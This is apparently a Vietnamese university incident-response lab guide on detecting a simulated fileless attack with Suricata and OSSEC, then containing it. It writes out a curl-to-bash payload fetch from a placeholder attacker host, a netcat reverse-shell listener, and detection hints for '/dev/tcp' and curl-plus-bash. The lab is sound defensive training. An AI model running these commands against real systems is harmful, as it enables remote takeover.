HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

Lab: idr_suricata_ossec_fireless

Sinh viên thực hiện: Đào Ngọc Ánh

Mã sinh viên: B21DCAT038

Hà Nội 2025

Phát hiện và ứng phó: Fileless Malware / In-Memory Execution qua PowerShell-Bash (Giả lập)

1. Giới thiệu chung

Bài thực hành này mô phỏng một sự cố an ninh trong đó máy victim bị thực thi mã độc trực tiếp trong bộ nhớ thông qua kỹ thuật fileless execution, cho phép attacker thiết lập reverse shell và điều khiển hệ thống từ xa mà không để lại nhiều dấu vết trên ổ đĩa. Trong tình huống này, quá trình điều tra phải dựa chủ yếu vào nhật ký mạng từ Suricata và nhật ký host từ OSSEC để phát hiện hành vi bất thường, xác định chuỗi tấn công và thực hiện các bước ứng phó cần thiết. Sinh viên sẽ đóng vai trò một Incident Responder, phân tích log để nhận diện sự cố và thực hiện các hành động khẩn cấp nhằm ngăn chặn và khôi phục hệ thống.

2. Mục đích

Sau khi hoàn thành bài lab, sinh viên sẽ có thể

- Giải thích khái niệm fileless malware / in-memory execution và lý do tại sao nó khó bị phát hiện hơn malware truyền thống.
- Nhận diện các dấu hiệu tấn công fileless trên:
    - Mạng: HTTP tải script, pipe | bash, reverse shell về cổng “lạ”.
    - Host: process bash bất thường, kết nối ra ngoài không rõ nguyên nhân.
- Cài đặt và sử dụng OSSEC (HIDS) để giám sát và sinh cảnh báo.
- Thực hiện quy trình ứng phó sự cố cơ bản: phát hiện - xác minh - cô lập - loại bỏ - khôi phục.

3. Yêu cầu đối với sinh viên

Sinh viên cần

- Có kiến thức cơ bản về Linux (bash, systemctl).
- Hiểu sơ TCP/IP, HTTP (port 80/8000), reverse shell qua TCP.
- Biết sử dụng ifconfig, ping, ps aux, netstat/ss, curl, nc, cat, grep, tail.

4. Nội dung thực hành

- Tải bài lab qua link :

imodule https://raw.githubusercontent.com/anhdnmit/do_an_tot_nghiep/main/idr_suricata_ossec_fireless/idr_suricata_ossec_fireless.tar

- Khởi động bài lab:

labtainer -r idr_suricata_ossec_fireless

(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

- Sau khi chạy, sẽ xuất hiện 3 container:
- attacker: máy tấn công, dùng để chạy HTTP server, reverse shell listener.
- victim: máy nạn nhân, cài OSSEC để giám sát host, và là nơi bị tấn công fileless.
- sensor: máy giám sát, cài Suricata để phân tích lưu lượng giữa attacker và victim.
- Để kiểm tra địa chỉ IP của 3 máy, gõ lệnh sau trên từng máy:

ifconfig

1. *Chuẩn bị môi trường trong lab*

a. Cài đặt Suricata trên sensor:

Mục tiêu: cài IDS Suricata để giám sát lưu lượng, sau đó sinh viên sẽ viết rule để phát hiện hành vi bất thường.

Trên máy sensor, sinh viên thực hiện

1. Thêm repository Suricata stable:

sudo add-apt-repository ppa:oisf/suricata-stable

Hệ thống có thể hỏi xác nhận, hãy nhấn Enter để đồng ý.

2. Cập nhật danh sách gói

sudo apt-get update

3. Cài đặt suricata

sudo apt-get install suricata -y

4. Khởi động Suricata (dạng service)

sudo systemctl start suricata

sudo systemctl status suricata

5. Kiểm tra file log của Suricata

sudo ls /var/log/suricata

sudo tail -f /var/log/suricata/fast.log

Lúc này có thể log chưa có gì nhiều.

Sau khi tiến hành tấn công, sinh viên quay lại file này để xem alert.

Gợi ý cho phần sau: Sinh viên sẽ cần thêm rule riêng để phát hiện một số mẫu hành vi đáng ngờ trong HTTP hoặc TCP (ví dụ: tải script *.sh*, pipe sang shell, reverse shell đến cổng lạ…). Hãy nhớ vị trí file cấu hình:

/etc/suricata/suricata.yaml
/etc/suricata/rules/

b. Cài đặt OSSEC trên victim

Trong bài lab này, OSSEC được cài trực tiếp trên victim để giám sát chính máy đó (chế độ server/“local”).

Sinh viên lần lượt thực hiện theo các bước sau:

1. Cài đặt các gói cần thiết

Trên victim, chạy:

sudo apt-get install build-essential make zlib1g-dev libpcre2-dev libevent-dev libssl-dev libsystemd-dev inotify-tools -y

2. Tải và giải nén mã nguồn OSSEC

mkdir ossec_src

cd ossec_src

sudo apt update

sudo apt install wget -y

sudo wget https://github.com/ossec/ossec-hids/archive/refs/tags/3.7.0.tar.gz

tar -xvzf 3.7.0.tar.gz

cd ossec-hids-3.7.0

3. Cài đặt OSSEC

Dùng quyền root và chạy script cài đặt

sudo su

./install.sh

Trong quá trình cài đặt, trả lời:

- Ngôn ngữ : en (English)
- Chọn loại cài đặt: Server
- Thử mục cài đặt : /var/ossec (giữ mặc định)

Cấu hình module:

- email notification: n
- Integrity check daemon : y
- Rootkit detection: y
- Active response : y
- Bật firewall-drop: y
- Whitelist: n
- Remote syslog: y

Sau khi trả lời xong, nhấn Enter để bắt đầu cài đặt và chờ hoàn tất. Cuối cùng, nhấn Enter để thoát.

4. Khởi động và kiểm tra OSSEC

Khởi động OSSEC

/var/ossec/bin/ossec-control start

Kiểm tra log

sudo tail -n 20 /var/ossec/logs/ossec.log

Nếu thấy các dòng kiểu:

- *ossec-execd: INFO: Started*
- *ossec-analysisd: INFO: Started*

→ Nghĩa là OSSEC đã chạy thành công.

2. *Thực hiện tấn công fileless từ attacker*

Mục tiêu: Mô phỏng attacker:

- Dùng HTTP để phân phối payload
- Dùng lệnh dạng one-liner trên victim để tải và thực thi script trực tiếp trong RAM
- Tạo reverse shell quay về attacker

Lưu ý: Trong môi trường lab này, payload đã được chuẩn bị sẵn trên attacker (được dùng làm mô phỏng malware). Sinh viên chỉ tập trung vào cơ chế truyền và thực thi, không cần tự viết mã độc.

a. Bật HTTP server trên attacker

Trên máy attacker, chạy:

python3 -m http.server 8000

Mặc định Python sẽ serve toàn bộ thư mục hiện tại qua HTTP.

Bạn có thể kiểm tra nhanh bằng cách từ victim *curl http://<IP_attacker>:8000/.*

Sinh viên cần giữ terminal này mở để server hoạt động.

b. Mở listener reverse shell trên attacker

Mở một terminal khác của attacker và chạy:

nc -lvnp 4444

- nc sẽ lắng nghe trên cổng 4444.
- Nếu payload trên victim tạo reverse shell thành công, sinh viên sẽ thấy prompt shell hiện trong terminal này.

c. Thực thi fileless payload trên victim

Trên victim, chạy lệnh mô phỏng hành vi tải script từ attacker và thực thi trực tiếp:

curl http://<IP_attacker>:8000/payload.sh | bash

Thay <IP_attacker> bằng IP thật của attacker (ví dụ: 10.0.5.10).

Nếu thành công:

- Trên attacker (cửa sổ nc), sinh viên sẽ thấy một shell bật lên.
- Có thể thử gõ:

whoami

hostname

để kiểm tra mình đang điều khiển victim từ xa.

Đây chính là hành vi "fileless execution": script không lưu thành file cố định mà được truyền và thực thi trực tiếp qua pipe | bash.

3. *Phân tích log mạng với Suricata*

Quay lại sensor, mở log của Suricata:

sudo tail -f /var/log/suricata/fast.log

Quan sát:

- Các dòng alert mới sinh ra sau khi bạn thực hiện tấn công fileless.
- Hãy chú ý:
    - HTTP request tải file .sh
    - Dấu hiệu thực thi command qua HTTP
    - Kết nối TCP tới cổng 4444 (reverse shell)

Theo yêu cầu của bài lab, sinh viên cần:

- Thử viết hoặc chỉnh sửa ít nhất một rule trong Suricata (file rule trong /etc/suricata/rules/) để:
    - Phát hiện hành vi tải script, hoặc
    - Phát hiện nội dung nghi ngờ trong HTTP (ví dụ có chuỗi bash, /dev/tcp, v.v.), hoặc
    - Phát hiện kết nối tới cổng reverse shell.

Sau khi sửa rule, nhớ:

sudo systemctl restart suricata

sudo tail -f /var/log/suricata/fast.log

Rồi lặp lại tấn công (chạy lại *curl ... | bash*) và quan sát xem alert có thay đổi hay không

4. *Phân tích log host với OSSEC*

Trên victim, mở log alerts:

sudo tail -f /var/ossec/logs/alerts/alerts.log

Trong hoặc sau khi sinh viên thực hiện tấn công:

- Quan sát xem OSSEC có sinh ra cảnh báo liên quan đến:
    - Process bash,
    - Thay đổi file,
    - Hoạt động đáng ngờ khác.

Sinh viên có thể:

- Thử tạo thêm hoạt động "đáng ngờ" trên victim (ví dụ: chạy một số lệnh lạ, tạo/chỉnh sửa file hệ thống giả lập),
- Và xem OSSEC phản ứng thế nào.

Gợi ý (không bắt buộc nhưng nên làm):

- Tạo một rule OSSEC đơn giản trong local_rules.xml để detect các command nguy hiểm (ví dụ các lệnh có chứa curl + bash, hoặc /dev/tcp).

- Restart OSSEC và quan sát alert mới.

5. *Tìm và chấn dứt reverse shell*

Sau khi reverse shell đã được thiết lập, sinh viên cần

1. Trên victim, liệt kê các process bash:

ps aux | grep bash

Xác định PID của shell đáng ngờ.

2. Chấn dứt reverse shell, ví dụ

sudo pkill bash

3. Kiểm tra lại trên attacker:

Terminal *nc -lvnp 4444* có bị mất kết nối hay không.

Nếu reverse shell bị chấm dứt, đó là dấu hiệu containment thành công.

4. Có thể thực hiện bước chặn attacker tạm thời (tùy chọn, nếu còn thời gian):

Trên victim:

sudo iptables -A INPUT -s <IP_attacker> -j DROP

Sau đó, thử ping / tấn công lại từ attacker để kiểm tra.

6. *Kết thúc bài lab*

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab idr_suricata_ossec_fireless

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

labtainer -r idr_suricata_ossec_fireless